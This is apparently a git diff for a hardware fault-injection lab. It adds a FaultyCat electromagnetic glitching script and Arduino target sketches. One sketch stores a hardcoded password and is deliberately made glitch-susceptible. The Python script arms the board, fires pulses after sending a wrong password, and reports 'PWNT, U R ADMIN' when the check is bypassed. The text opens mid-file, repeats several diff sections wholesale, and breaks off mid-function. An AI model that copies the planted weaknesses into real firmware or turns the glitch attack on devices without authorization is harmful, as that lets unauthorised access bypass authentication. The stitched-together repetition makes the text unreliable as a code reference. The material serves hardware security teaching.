sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # 